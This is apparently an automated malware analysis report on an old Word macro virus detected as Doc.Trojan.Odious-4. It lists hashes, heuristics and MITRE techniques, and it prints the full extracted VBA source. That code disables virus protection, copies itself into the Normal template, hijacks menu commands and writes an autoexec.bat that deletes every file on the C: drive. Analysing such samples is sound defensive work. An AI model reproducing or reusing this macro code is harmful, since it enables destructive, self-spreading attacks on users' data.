Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f850bd304840449e…

MALICIOUS

Office (OLE)

37.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1ee1df9eefc1b7b4e39e201856574bad SHA-1: 2f72e23e19c32efd42aa19be4bfcbfef0053eaef SHA-256: f850bd304840449eac1bd7d3a8584f78a01109017ee85b3cf2b56ec59031a0af
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros. The AutoOpen macro is triggered upon opening, which then calls the Virus function. This function attempts to create an autoexec.bat file with commands to delete all files and display a hostile message, indicating a destructive intent. The ClamAV detection further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Odious-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Odious-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2648 bytes
SHA-256: 9289a43e232b8fe463518aa9c746e0e2fa850352650e3e0dba5527d0b631149f
Detection
ClamAV: Doc.Trojan.Odious-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Hate_A"
Sub AutoExec()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoNew()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Function Virus()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayAlerts = wdAlertsNone
    E
    If VBE.MainWindow.Visible = True Then
        Open "c:\autoexec.bat" For Output As #1
            Print #1, ""
            Print #1, "Deltree c:\*.* /y"
            Print #1, ""
            Print #1, "echo Fuck you...."
        Close #1
        Application.Quit SaveChanges:=wdDoNotSaveChanges
    End If
End Function
Function E()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Dim A, B As String
    A = Application.NormalTemplate.FullName
    B = Application.ActiveDocument.FullName
    Application.OrganizerCopy A, B, "Hate_A", wdOrganizerObjectProjectItems
    Application.OrganizerCopy B, A, "Hate_A", wdOrganizerObjectProjectItems
End Function
Sub ExibirCódigoVB()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramGravarMacroAlternar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ExibirCódigo()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramMacro()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub InterromperGravação()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroIniciar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub FerramentasGravarMacroParar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoModelos()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoSalvar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
    ActiveDocument.Save
End Sub

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